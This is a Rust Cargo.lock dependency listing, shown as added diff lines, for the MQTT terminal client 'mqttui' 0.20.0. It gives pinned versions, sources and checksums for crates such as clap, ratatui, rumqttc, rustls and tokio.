[ + "anstream", + "anstyle", + "clap_lex", + "strsim", + "terminal_size", +] + +[[package]] +name = "clap_complete" +version = "4.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "885e4d7d5af40bfb99ae6f9433e292feac98d452dcb3ec3d25dfe7552b77da8c" +dependencies = [ + "clap", +] + +[[package]] +name = "clap_derive" +version = "4.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "307bc0538d5f0f83b8248db3087aa92fe504e4691294d0c96c0eabc33f47ba47" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn 2.0.51", +] + +[[package]] +name = "clap_lex" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "98cc8fbded0c607b7ba9dd60cd98df59af97e84d24e49c8557331cfc26d301ce" + +[[package]] +name = "clap_mangen" +version = "0.2.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e1dd95b5ebb5c1c54581dd6346f3ed6a79a3eef95dd372fc2ac13d535535300e" +dependencies = [ + "clap", + "roff", +] + +[[package]] +name = "colorchoice" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7" + +[[package]] +name = "compact_str" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f86b9c4c00838774a6d902ef931eff7470720c51d90c2e32cfe15dc304737b3f" +dependencies = [ + "castaway", + "cfg-if", + "itoa", + "ryu", + "static_assertions", +] + +[[package]] +name = "core-foundation" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f" + +[[package]] +name = "cpufeatures" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53fe5e26ff1b7aef8bca9c6080520cfb8d9333c7568e1829cef191a9723e5504" +dependencies = [ + "libc", +] + +[[package]] +name = "crossterm" +version = "0.27.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f476fe445d41c9e991fd07515a6f463074b782242ccf4a5b7b1d1012e70824df" +dependencies = [ + "bitflags 2.4.2", + "crossterm_winapi", + "libc", + "mio", + "parking_lot", + "signal-hook", + "signal-hook-mio", + "winapi", +] + +[[package]] +name = "crossterm_winapi" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "acdd7c62a3665c7f6830a51635d9ac9b23ed385797f70a83bb8bafe9c572ab2b" +dependencies = [ + "winapi", +] + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "data-encoding" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e962a19be5cfc3f3bf6dd8f61eb50107f356ad6270fbb3ed41476571db78be5" + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", +] + +[[package]] +name = "ego-tree" +version = "0.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3a68a4904193147e0a8dec3314640e6db742afd5f6e634f428a6af230d9b3591" + +[[package]] +name = "either" +version = "1.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11157ac094ffbdde99aa67b23417ebdd801842852b500e395a45a9c0aac03e4a" + +[[package]] +name = "errno" +version = "0.3.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a258e46cdc063eb8519c00b9fc845fc47bcfca4130e2f08e88665ceda8474245" +dependencies = [ + "libc", + "windows-sys 0.52.0", +] + +[[package]] +name = "flume" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "55ac459de2512911e4b674ce33cf20befaba382d05b62b008afc1c8b57cbf181" +dependencies = [ + "futures-core", + "futures-sink", + "spin", +] + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "form_urlencoded" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "futures" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "645c6916888f6cb6350d2550b80fb63e734897a8498abe35cfb732b6487804b0" +dependencies = [ + "futures-channel", + "futures-core", + "futures-executor", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-channel" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eac8f7d7865dcb88bd4373ab671c8cf4508703796caa2b1985a9ca867b3fcb78" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dfc6580bb841c5a68e9ef15c77ccc837b40a7504914d52e47b8b0e9bbda25a1d" + +[[package]] +name = "futures-executor" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a576fc72ae164fca6b9db127eaa9a9dda0d61316034f33a0a0d4eda41f02b01d" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a44623e20b9681a318efdd71c299b6b222ed6f231972bfe2f224ebad6311f0c1" + +[[package]] +name = "futures-macro" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.51", +] + +[[package]] +name = "futures-sink" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9fb8e00e87438d937621c1c6269e53f536c14d3fbd6a042bb24879e57d474fb5" + +[[package]] +name = "futures-task" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38d84fa142264698cdce1a9f9172cf383a0c82de1bddcf3092901442c4097004" + +[[package]] +name = "futures-util" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6401deb83407ab3da39eba7e33987a73c3df0c82b4bb5813ee871c19c41d48" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "pin-utils", + "slab", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "190092ea657667030ac6a35e305e62fc4dd69fd98ac98631e5d3a2b1575a12b5" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "gimli" +version = "0.28.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" + +[[package]] +name = "hashbrown" +version = "0.14.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604" +dependencies = [ + "ahash", + "allocator-api2", +] + +[[package]] +name = "heck" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" + +[[package]] +name = "http" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8947b1a6fad4393052c7ba1f4cd97bed3e953a95c79c92ad9b051a04611d9fbb" +dependencies = [ + "bytes", + "fnv", + "itoa", +] + +[[package]] +name = "httparse" +version = "1.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d897f394bad6a705d5f4104762e116a75639e470d80901eed05a860a95cb1904" + +[[package]] +name = "iana-time-zone" +version = "0.1.60" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7ffbb5a1b541ea2561f8c41c087286cc091e21e556a4f09a8f6cbf17b69b141" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "wasm-bindgen", + "windows-core", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + +[[package]] +name = "idna" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6" +dependencies = [ + "unicode-bidi", + "unicode-normalization", +] + +[[package]] +name = "indoc" +version = "2.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e186cfbae8084e513daff4240b4797e342f988cecda4fb6c939150f96315fd8" + +[[package]] +name = "itertools" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba291022dbbd398a455acf126c1e341954079855bc60dfdda641363bd6922569" +dependencies = [ + "either", +] + +[[package]] +name = "itoa" +version = "1.0.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c" + +[[package]] +name = "js-sys" +version = "0.3.68" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "406cda4b368d531c842222cf9d2600a9a4acce8d29423695379c6868a143a9ee" +dependencies = [ + "wasm-bindgen", +] + +[[package]] +name = "libc" +version = "0.2.153" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c198f91728a82281a64e1f4f9eeb25d82cb32a5de251c6bd1b5154d63a8e7bd" + +[[package]] +name = "linux-raw-sys" +version = "0.4.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "01cda141df6706de531b6c46c3a33ecca755538219bd484262fa09410c13539c" + +[[package]] +name = "lock_api" +version = "0.4.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c168f8615b12bc01f9c17e2eb0cc07dcae1940121185446edc3744920e8ef45" +dependencies = [ + "autocfg", + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" + +[[package]] +name = "lru" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3262e75e648fce39813cb56ac41f3c3e3f65217ebf3844d818d1f9398cfb0dc" +dependencies = [ + "hashbrown", +] + +[[package]] +name = "memchr" +version = "2.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "523dc4f511e55ab87b694dc30d0f820d60906ef06413f93d4d7a1385599cc149" + +[[package]] +name = "miniz_oxide" +version = "0.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d811f3e15f28568be3407c8e7fdb6514c1cda3cb30683f15b6a1a1dc4ea14a7" +dependencies = [ + "adler", +] + +[[package]] +name = "mio" +version = "0.8.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f3d0b296e374a4e6f3c7b0a1f5a51d748a0d34c85e7dc48fc3fa9a87657fe09" +dependencies = [ + "libc", + "log", + "wasi", + "windows-sys 0.48.0", +] + +[[package]] +name = "mqttui" +version = "0.20.0" +dependencies = [ + "anyhow", + "chrono", + "clap", + "clap_complete", + "clap_mangen", + "crossterm", + "ego-tree", + "rand", + "ratatui", + "ratatui-binary-data-widget", + "rmpv", + "rumqttc", + "rustls", + "rustls-native-certs", + "rustls-pemfile", + "serde_json", + "tui-tree-widget", + "url", +] + +[[package]] +name = "num-traits" +version = "0.2.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da0df0e5185db44f69b44f26786fe401b6c293d1907744beaa7fa62b2e5a517a" +dependencies = [ + "autocfg", +] + +[[package]] +name = "object" +version = "0.32.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6a622008b6e321afc04970976f62ee297fdbaa6f95318ca343e3eebb9648441" +dependencies = [ + "memchr", +] + +[[package]] +name = "once_cell" +version = "1.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" + +[[package]] +name = "openssl-probe" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf" + +[[package]] +name = "parking_lot" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c42a9226546d68acdd9c0a280d17ce19bfe27a46bf68784e4066115788d008e" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "smallvec", + "windows-targets 0.48.5", +] + +[[package]] +name = "paste" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "de3145af08024dea9fa9914f381a17b8fc6034dfb00f3a84013f7ff43f29ed4c" + +[[package]] +name = "percent-encoding" +version = "2.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" + +[[package]] +name = "pharos" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e9567389417feee6ce15dd6527a8a1ecac205ef62c2932bcf3d9f6fc5b78b414" +dependencies = [ + "futures", + "rustc_version", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8afb450f006bf6385ca15ef45d71d2288452bc3683ce2e2cacc0d18e4be60b58" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "ppv-lite86" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" + +[[package]] +name = "proc-macro2" +version = "1.0.78" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom", +] + +[[package]] +name = "ratatui" +version = "0.26.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bcb12f8fbf6c62614b0d56eb352af54f6a22410c3b079eb53ee93c7b97dd31d8" +dependencies = [ + "bitflags 2.4.2", + "cassowary", + "compact_str", + "crossterm", + "indoc", + "itertools", + "lru", + "paste", + "stability", + "strum", + "unicode-segmentation", + "unicode-width", +] + +[[package]] +name = "ratatui-binary-data-widget" +version = "0.1.0" +source = "git+https://github.com/EdJoPaTo/ratatui-binary-data-widget?branch=main#dcc0ef5e9492b6e638d0bf0ca0e9eb94f47e3795" +dependencies = [ + "ratatui", +] + +[[package]] +name = "redox_syscall" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa" +dependencies = [ + "bitflags 1.3.2", +] + +[[package]] +name = "ring" +version = "0.17.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c17fa4cb658e3583423e915b9f3acc01cceaee1860e33d59ebae66adc3a2dc0d" +dependencies = [ + "cc", + "cfg-if", + "getrandom", + "libc", + "spin", + "untrusted", + "windows-sys 0.52.0", +] + +[[package]] +name = "rmp" +version = "0.8.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f9860a6cc38ed1da53456442089b4dfa35e7cedaa326df63017af88385e6b20" +dependencies = [ + "byteorder", + "num-traits", + "paste", +] + +[[package]] +name = "rmpv" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e0e0214a4a2b444ecce41a4025792fc31f77c7bb89c46d253953ea8c65701ec" +dependencies = [ + "num-traits", + "rmp", +] + +[[package]] +name = "roff" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b833d8d034ea094b1ea68aa6d5c740e0d04bad9d16568d08ba6f76823a114316" + +[[package]] +name = "rumqttc" +version = "0.23.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8d8941c6791801b667d52bfe9ff4fc7c968d4f3f9ae8ae7abdaaa1c966feafc8" +dependencies = [ + "async-tungstenite", + "bytes", + "flume", + "futures-util", + "http", + "log", + "rustls-native-certs", + "rustls-pemfile", + "rustls-webpki", + "thiserror", + "tokio", + "tokio-rustls", + "ws_stream_tungstenite", +] + +[[package]] +name = "rustc-demangle" +version = "0.1.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76" + +[[package]] +name = "rustc_version" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366" +dependencies = [ + "semver", +] + +[[package]] +name = "rustix" +version = "0.38.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ea3e1a662af26cd7a3ba09c0297a31af215563ecf42817c98df621387f4e949" +dependencies = [ + "bitflags 2.4.2", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.52.0", +] + +[[package]] +name = "rustls" +version = "0.21.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9d5a6813c0759e4609cd494e8e725babae6a2ca7b62a5536a13daaec6fcb7ba" +dependencies = [ + "log", + "ring", + "rustls-webpki", + "sct", +] + +[[package]] +name = "rustls-native-certs" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a9aace74cb666635c918e9c12bc0d348266037aa8eb599b5cba565709a8dff00" +dependencies = [ + "openssl-probe", + "rustls-pemfile", + "schannel", + "security-framework", +] + +[[package]] +name = "rustls-pemfile" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c74cae0a4cf6ccbbf5f359f08efdf8ee7e1dc532573bf0db71968cb56b1448c" +dependencies = [ + "base64", +] + +[[package]] +name = "rustls-webpki" +version = "0.101.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b6275d1ee7a1cd780b64aca7726599a1dbc893b1e64144529e55c3c2f745765" +dependencies = [ + "ring", + "untrusted", +] + +[[package]] +name = "rustversion" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ffc183a10b4478d04cbbbfc96d0873219d962dd5accaff2ffbd4ceb7df837f4" + +[[package]] +name = "ryu" +version = "1.0.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e86697c916019a8588c99b5fac3cead74ec0b4b819707a682fd4d23fa0ce1ba1" + +[[package]] +name = "schannel" +version = "0.1.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fbc91545643bcf3a0bbb6569265615222618bdf33ce4ffbbd13c4bbd4c093534" +dependencies = [ + "windows-sys 0.52.0", +] + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "sct" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da046153aa2352493d6cb7da4b6e5c0c057d8a1d0a9aa8560baffdd945acd414" +dependencies = [ + "ring", + "untrusted", +] + +[[package]] +name = "security-framework" +version = "2.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05b64fb303737d99b81884b2c63433e9ae28abebe5eb5045dcdd175dc2ecf4de" +dependencies = [ + "bitflags 1.3.2", + "core-foundation", + "core-foundation-sys", + "libc", + "security-framework-sys", +] + +[[package]] +name = "security-framework-sys" +version = "2.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e932934257d3b408ed8f30db49d85ea163bfe74961f017f405b025af298f0c7a" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "semver" +version = "1.0.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92d43fe69e652f3df9bdc2b85b2854a0825b86e4fb76bc44d945137d053639ca" + +[[package]] +name = "serde" +version = "1.0.197" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fb1c873e1b9b056a4dc4c0c198b24c3ffa059243875552b2bd0933b1aee4ce2" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.197" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7eb0b34b42edc17f6b7cac84a52a1c5f0e1bb2227e997ca9011ea3dd34e8610b" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.51", +] + +[[package]] +name = "serde_json" +version = "1.0.114" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c5f09b1bd632ef549eaa9f60a1f8de742bdbc698e6cee2095fc84dde5f549ae0" +dependencies = [ + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "sha1" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "signal-hook" +version = "0.3.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8621587d4798caf8eb44879d42e56b9a93ea5dcd315a6487c357130095b62801" +dependencies = [ + "libc", + "signal-hook-registry", +] + +[[package]] +name = "signal-hook-mio" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29ad2e15f37ec9a6cc544097b78a1ec90001e9f71b81338ca39f430adaca99af" +dependencies = [ + "libc", + "mio", + "signal-hook", +] + +[[package]] +name = "signal-hook-registry" +version = "1.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8229b473baa5980ac72ef434c4415e70c4b5e71b423043adb4ba059f89c99a1" +dependencies = [ + "libc", +] + +[[package]] +name = "slab" +version = "0.4.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67" +dependencies = [ + "autocfg", +] + +[[package]] +name = "smallvec" +version = "1.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6ecd384b10a64542d77071bd64bd7b231f4ed5940fba55e98c3de13824cf3d7" + +[[package]] +name = "socket2" +version = "0.5.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05ffd9c0a93b7543e062e759284fcf5f5e3b098501104bfbdde4d404db792871" +dependencies = [ + "libc", + "windows-sys 0.52.0", +] + +[[package]] +name = "spin" +version = "0.9.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67" +dependencies = [ + "lock_api", +] + +[[package]] +name = "stability" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebd1b177894da2a2d9120208c3386066af06a488255caabc5de8ddca22dbc3ce" +dependencies = [ + "quote", + "syn 1.0.109", +] + +[[package]] +name = "static_assertions" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" + +[[package]] +name = "strsim" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ee073c9e4cd00e28217186dbe12796d692868f432bf2e97ee73bed0c56dfa01" + +[[package]] +name = "strum" +version = "0.26.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "723b93e8addf9aa965ebe2d11da6d7540fa2283fcea14b3371ff055f7ba13f5f" +dependencies = [ + "strum_macros", +] + +[[package]] +name = "strum_macros" +version = "0.26.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a3417fc93d76740d974a01654a09777cb500428cc874ca9f45edfe0c4d4cd18" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "rustversion", + "syn 2.0.51", +] + +[[package]] +name = "syn" +version = "1.0.109" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "2.0.51" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ab617d94515e94ae53b8406c628598680aa0c9587474ecbe58188f7b345d66c" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "terminal_size" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "21bebf2b7c9e0a515f6e0f8c51dc0f8e4696391e6f1ff30379559f8365fb0df7" +dependencies = [ + "rustix", + "windows-sys 0.48.0", +] + +[[package]] +name = "thiserror" +version = "1.0.57" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e45bcbe8ed29775f228095caf2cd67af7a4ccf756ebff23a306bf3e8b47b24b" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.57" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a953cb265bef375dae3de6663da4d3804eee9682ea80d8e2542529b73c531c81" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.51", +] + +[[package]] +name = "tinyvec" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50" +dependencies = [ + "tinyvec_macros", +] + +[[package]] +name = "tinyvec_macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" + +[[package]] +name = "tokio" +version = "1.36.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61285f6515fa018fb2d1e46eb21223fff441ee8db5d0f1435e8ab4f5cdb80931" +dependencies = [ + "backtrace", + "bytes", + "libc", + "mio", + "pin-project-lite", + "socket2", + "tokio-macros", + "windows-sys 0.48.0", +] + +[[package]] +name = "tokio-macros" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b8a1e28f2deaa14e508979454cb3a223b10b938b45af148bc0986de36f1923b" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.51", +] + +[[package]] +name = "tokio-rustls" +version = "0.24.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c28327cf380ac148141087fbfb9de9d7bd4e84ab5d2c28fbc911d753de8a7081" +dependencies = [ + "rustls", + "tokio", +] + +[[package]] +name = "tracing" +version = "0.1.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef" +dependencies = [ + "pin-project-lite", + "tracing-attributes", + "tracing-core", +] + +[[package]] +name = "tracing-attributes" +version = "0.1.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.51", +] + +[[package]] +name = "tracing-core" +version = "0.1.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54" 